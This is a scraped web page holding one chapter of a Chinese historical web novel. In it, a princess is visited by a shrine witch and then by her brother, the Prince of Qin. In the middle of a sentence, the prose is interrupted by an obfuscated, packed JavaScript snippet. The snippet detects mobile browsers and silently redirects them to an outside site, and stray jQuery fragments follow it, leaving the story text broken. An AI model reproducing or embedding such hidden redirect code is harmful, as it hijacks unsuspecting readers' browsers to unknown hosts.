默认冷灰
24号文字
方正启体

4. 秦王

作者:芋头鲸本书字数:K更新时间:
    舒城一案,皇帝派廷尉府亲赴调查、绣衣卫协查,绣衣卫给出的蛮夷作祟、反贼作乱的结论,她也找不出可辨驳一二之处。


    向澄将帛书妥善贴身收好,自叹一声:向来直觉不准、运气堪忧,只当此事是自己多思多虑,暂且放到一边。


    她将冰凉的指尖轻轻按在温热的陶碗上,氤氲水汽渐渐将暖意扩散。


    她安慰自己道:往日她偏安一隅,虽随心度日,但隔着千里云烟听不见安都城里的真实声响。如今重踏这方暗流涌动的皇城土地,倒也不全是坏事——至少她心存疑虑之处,探查起来就不必顾忌因天高地远,以讹传讹之事了。


    -


    常媪推门引着女巫进来时,向澄正学着幼时模样,哀声软语劝说念桃和思竹陪她一同歇息,只剩鼻尖一点被水汽晕染的微红。


    念桃倒是欣喜,一口应下。


    只思竹抵死不肯,连声拒绝:“殿下!这不合规矩!”


    “夜里寒凉,此处哪来炭火?”向澄抓着思竹不放手,“若你不肯依我,明日本宫得了风寒可怎么回宫面圣?”


    “殿下昨日夜里嫌热,踢了七八回被子,还是奴婢盖上的!”念桃笑嘻嘻,“殿下分明是今日受惊,吓到了!”


    “是是是,是受惊了!”向澄瞪着鹿眼连连点头,“思竹不陪我睡,谁去本宫梦里保护我?”


    向澄的长相称不上端庄大气,与当下流行的明艳娇美更是毫不相干。


    她年纪尚小,身形也颇为娇小,看上去就是那种极易受人欺负的模样。胜在皮肤白皙光洁,受水乡灵韵滋养,从骨头到皮肉,都洋溢着一股蓬勃的生气。


    她的五官也并非格外出众,唯有一双鹿眼,大而明亮,里头透着几分不惹人厌的狡黠,配上故作无害的神情,就显得有些真诚。


    就凭着这双眼睛,和惯会撒娇撒痴的作态,从小到大,也不知让思竹替她背了多少或大或小的黑锅。


    思竹一看她那双澈得满满映着自己的眸子,心软成一片,顾不上什么尊卑贵贱礼仪规矩了,张口便想答应。


    向澄见她动摇,喜上眉梢,还欲再劝。


    不料这时,常媪通报带了神祠中的女巫进来,给她再瞧瞧手掌的伤。


    常媪积威甚重,三人悻悻分开,不再打闹成一团。


    巫医不分家。


    女巫看了伤,又看了向澄从行宫带来的药,确认妥帖可用,反复叮嘱贵人多加养护,又送了安神镇定的草药方子。


    那方子向澄看了,和她预想的差不太多,便更对自己那点半瓶子晃荡的医术满意了。


    “且慢,”向澄见那巫女面带踌躇,实在好奇,“女祝心中若有言语,不妨直言。”


    那女巫年纪不大,瞧着比向澄年岁还小些。


    她身着一袭灰扑扑的素色宽袍,发髻梳成飞仙髻样式,脸上敷着一层白粉,朱红的唇色浓艳得有些瘆人。只是她又生着一张婴儿肥的脸蛋,这般装扮落在其上,反倒添了几分滑稽之感。


    她用那双因为消瘦而显得大到有些骇人的眸子,直勾勾盯了向澄半晌,才复垂首,嗫喏道:“贵人可是要去安都?怕是去不得。”


    向澄一行人虽未刻意隐藏身份,也确实未曾告知与她。


    小女巫没见过多少世面,认不出向澄乘坐的辒辌车为太后所赐,识不得塌上铺着的那张缀绢晕裥缂花毛毡乃西域贡品,更不知眼前这稚气柔弱的小女娘本就该在安都宫闱中长大。


    她嗫喏道:“相面解谶我学得不好……”


    小女巫本就心有惴惴,见众人不语,更以为是说错了话,紧张得捏住自己腰间的香囊,匆匆塞进向澄手里:“贵人一路平安!”


    说罢,闷头就跑!


    “女祝慢点!别摔了!”


    念桃追了两步,瞧着她的背影,嘟嘟囔囔:“咱们殿下又不吃人,作甚跑那么快。”


    常媪见状也笑了,连道:“这乡野长大的小女巫不懂规矩,殿下莫怪。”


    向澄抓着那半新不旧的香囊哭笑不得,不顾常媪阻拦,递到鼻尖嗅嗅:“艾叶、紫苏、丁香、陈皮……”


    她深吸一口气,再嗅嗅,“还有什么就闻不出来了……总之都是些驱虫避秽的药物!”


    向澄取下腰间的一块玉珏,把新得的香囊挂上,把女巫劝告之言抛诸脑后了——人生在世哪能事事如意?皇命难违,这宫她不得不回。


    只是不知皇帝默认她在行宫自生自灭多年,怎么心血来潮诏她回宫?


    和亲之事必不能成,那就定是另有企图。


    -


    正如向澄所言,哄了两个婢女作伴,真得一夜安枕。


    她简单用过早膳,便有卫士来报,秦王亲至,接忘忧公主回宫,殷郎中已经去迎了。


    向澄大喜:“皇兄来了?”


    向澄与这位胞兄上次再见还是两年前。


    彼时,向沵及冠得封秦王,得了清闲差事,要押解一批贡品回安都,顺道拐弯去探望在蕙兰行宫的向澄。


    除此之外,十年间二人只凭遥寄书信联系。如今人就在跟前了,虽喜,也有些近乡情怯。


    向澄手足无措,先整整衣服下摆,又扶着为轻省些梳的垂髻,使唤念桃去拿珠宝匣子。


    “皇兄定是闻得我遇伏的消息,星夜兼程赶来……定是还未用膳……”向澄一边说着,一边催促思竹快取江南酥酪给兄长送去。


    思竹见她忙得恰似幼犬追咬尾尖般团团转,竟也难得打趣道:“此地粗茶淡饭,恐难入秦王殿下法眼。可这江南酥酪,殿下不是昨日便让奴婢连着点心匣子一并丢了去吗?”


    向澄这才想起来,昨日逃命被点心砸到脸的窘境,红着耳根厚着脸皮嚷道:“那就送些饼和酪浆去!你这坏心眼的,不许待在这!”


    念桃正巧抱着漆匣入室,捂嘴偷笑了两声,又软声哄她:“殿下今儿这衣裳选得好,奴婢瞧这绾色与殿下正是相配。”


    念桃打开匣子,取出一枚玉簪递给她:“若加上秦王殿下去岁送来的嵌粉珊瑚的白玉簪子,便更是仙姿玉貌了。”


    向澄平素也不善打扮,对着铜镜左瞧右瞧,实在没看出什么门道,皱眉道:“不取他的!不取他的!”


    “这镶南珠、嵌象牙的也不用!瞧着太素净了不好!”


    向澄把妆匣翻得珠翠狼藉:“要红玛瑙、绿翡翠、赤金累丝的!新置办的,越鲜亮越好!”


    她双手一拍,慷慨总结:“定要让皇兄一看便知,我在行宫过得是吃香喝辣的快活日子!”


    念桃还未动手,她自己就往新梳的高髻上急着插了弯七扭八数十只支簪钗步摇,还不小心扯到发丝,直勾得自己头皮发疼。


    满头饰品随着她摇晃身体的幅度叮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524119|170761||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    当作响,好不热闹,活像檐下悬挂的八宝琉璃风铃。


    就是略浮夸了些,还不如风铃好看呢。


    她看不出什么名堂,转过身急切问道:“如何?”


    念桃还在委婉措辞,思竹垂首不语,只听一人朗声问道——


    “皇妹每回来信皆说在行宫如何逍遥自在,敢情是哄骗皇兄的?”


    “不然何至于用华服珠翠来加以矫饰?”


    向澄闻声回头,只见秦王向沵斜倚门框,拧着眉瞪她,评价道:“细颈如草,承重假面,小阿狸你这是要去傩戏班子讨饭吃?”


    他上下扫视一番,不满极了:“又瘦又矮!怎么?常媪不给你饭吃?”


    被向沵拿话一刺,两人多年未见的那点隔阂连带着温情都消失不见了。


    向澄哼哼,跳脚道:“皇兄实在不懂女娘,也不懂美,难怪都封王出宫建府了,也未曾替我寻来个温柔阿嫂!”


    “美什么?”他啧啧两声:“我早和母妃说过,女娘的乳名要取个强壮夯实的,你如今这般弱不胜衣的模样,可真不比狸奴健硕多少。”


    向沵上下撇她,故意嘲弄道:“小阿狸,若我娶妻,定要娶个能陪我共赏山水、吟诗做赋,也能安抚部曲、诘戎治兵的巾帼英雄……”


    向沵意有所指,扫视向澄刻意戴给他看的满头珠翠,点她:“最重要的是,诚心待我,两不相欺!”


    “皇兄还好意思提!”


    提起乳名,向澄气得把手中的金钗重重拍在几案上。


    “皇兄起的那些豕啊豚啊、胖啊呆啊的,就好听了?有谁家女娘取个这样的乳名!”


    向沵才不怕她,振振有词:“我妹妹天潢贵胄,天生异象,自是要取个独一无二的乳名才配得上啊!”


    “与他人相似,那多无趣!”


    向沵一只手抵在向澄头顶,不让她靠近,另一只手狠狠揪两下她颊肉:“弱成这样,哪有点大父和母妃的风范!”


    提及赵夫人,向澄讪讪:“母妃武艺高强,不也得保护手无缚鸡之力的父皇吗?”


    “那你呢?未来是招驸马还是找侍卫!”向沵恨铁不成钢,“堂堂公主,莫不是要学人比武招亲?”


    “当年出事后,我便时常在想……”


    向澄不辩,只低声道:“若非母妃身手不凡、侠肝义胆,是不是就不会死?行宫事变,在场文臣武将、皇室宗亲不知凡几,怎么就只等母妃一人救驾呢?”


    “明知不该,我还是会想……戚夫人、王美人、李美人都在,怎么就我母妃出事了呢?”


    向沵不忍见胞妹性子更左,开解道:“夏禹治水,三过家门而不入;相如使秦,秦廷刁难如虎狼。自古以来,能力越大的人就要背负越大的责任。”


    “天子不测,国祚难续。国之大事,事关江山社稷,更关乎黎庶康危。”向沵目光温柔,“天子遇难,不论武功高低与否,天下之人皆难坐视不理,更何况母妃如此豪杰?”


    向沵提起十年前行宫之变也是遗憾。


    他幼时贪凉,食多了寒水,外感病邪,巫医劝说不该劳动,行宫之行,唯有作罢。


    怎知至此一别,便与至亲骨肉分离近十年。


    “阿兄,我懂的。”向澄垂头闷声道,“戚夫人、王美人、李美人皆是无辜,百官宗亲也并非坐视不理。此事,我自有该恨的人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)